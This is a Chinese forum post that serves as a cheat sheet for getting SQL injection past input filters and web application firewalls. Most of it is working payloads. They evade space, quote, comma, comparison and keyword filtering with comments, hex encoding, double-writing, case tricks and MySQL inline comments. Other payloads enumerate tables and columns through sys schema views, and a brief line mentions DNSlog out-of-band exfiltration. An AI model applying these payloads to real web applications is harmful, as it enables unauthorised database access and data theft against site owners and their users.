王海鱼 发表于 3 天前

WEB安全--SQL注入--bypass本事

一、SQL注入时绕过过滤:


1.1、符号被过滤:

1.1.1、空格:

#1.利用括号绕过:
?id=1'and(sleep(ascii(substr(database(),(1),(1)))>115))--

#2.利用/**/绕过:
?id=-1'and/**/updatexml(1,concat(database(),0x7e),1)--

#3.利用%0a|%0b|%0c|%09|%a0绕过:
?id=-1'and%0aunion%0aselect%0a1,2,database()--

1.1.2、引号:

#1.十六进制编码绕过:
select column_name from information_schema.tables where table_name="users"

select column_name from information_schema.tables where table_name=0x7573657273

#2.反引号``绕过:
select * from `users`; 1.1.3、逗号:

#1.在substr()、mid()这样的阶段函数中,可以用from for绕过:
substr(str from pos for len)

#2.使用join关键字绕过:
union select 1,2,3
union select * from (select 1)a join (select 2)b join (select 3)c

#3.在limit中使用offset绕过:
select * from users limit 0,1
select * from users limit 1 offset 0

1.1.4、“< >”:

greatest(n1,n2,n3,...) //返回其中的最大值

strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

strcmp(substr(database(),1,1),'s')

in 操作符

between and //选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),1,1))>64
                                                               


此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and strcmp(ascii(substr(database(),1,1)),32)=32
1.1.5、解释符:

#1.闭合后面的引号:
id=-1' union select 1,user(),3 and '1'='1

#2.截断后面的语句:
id=-1' union select 1,user(),3;%00 1.1.6、等号:

#1.like:
select * from users where id like 1;

#2.正则:
select * from users where username regexp('admin');
1.2、关键字被过滤:

如union、select、where等:
#1.如果关键字被替换为空,使用双写或大小写绕过:
?id=-1'UniOn SelECt 1,2,database()--
?id=-1'ununionion selselectect 1,2,user()--

#2.如果关键字被正则匹配过滤,可以在注释中写关键字:
    waf: \bunion(.*?)select\b
    payload: /*!50000union/**//**/all*//*!select*/--绕过\b匹配单词边界
             /*!%55NiOn*//*!%53eLEct*/            --通过url_encode绕过
             /**/UNION/**//*!50000SELECT*//**/
             /*--*/union/*--*/select/*--*/
             /**/uNIon/**/sEleCt/**/
             1e0union/**/select         
?id=1e0union/**/(select+1,(select/**/schema_name/**/from/**/information_schema.schemata
/**/limit/**/0,1),3)#                               --科学计数法绕过\b匹配单词边界 information_schema:
#1.双写:
infinformationormation_schema
information_schschemaema

#2.十六进制编码:
0x696e666f726d6174696f6e5f736368656d61

#3.字符串拼接:
CONCAT('info', 'rmation_schema')

#4.找其他库替换:
performance_schema                         --系统数据库
sys.schema_auto_increment_columns          --超级管理员权限
sys.schema_table_statistics_with_buffer    --超级管理员权限
sys.x$schema_table_statistics_with_buffer--超级管理员权限
mysql.innodb_table_stats                   --只能查出数据库和表名,查不出字段
--爆表名:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
--爆字段名:
--获取第一列的字段名及后面每一列字段名:
?id=-1' union select*from (select * from users as a join users as b)as c--+
?id=-1' union select*from (select * from users as a join users b using(id,username))c--+
?id=-1' union select*from (select * from users as a join users b using(id,username,password))c--+

1.3、函数被过滤:

1.3.1、用效果相同的函数取代:

substr()、substring() ==> left()、right()、mid()、lpad()、rpad()
hex()、bin() ==> ascii()
sleep() ==> benchmark()
concat_ws()==>group_concat()
@@user ==> user()
@@datadir ==> datadir()
1.3.2、用生僻函数取代:

polygon() ==> updatexml()

二、绕过输出内容的过滤:


#1.转码:
base64_decode()
hex()

#2.解密:
md5

#3.将查询结果写入文件再读取:
dnslog外带

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: WEB安全--SQL注入--bypass本事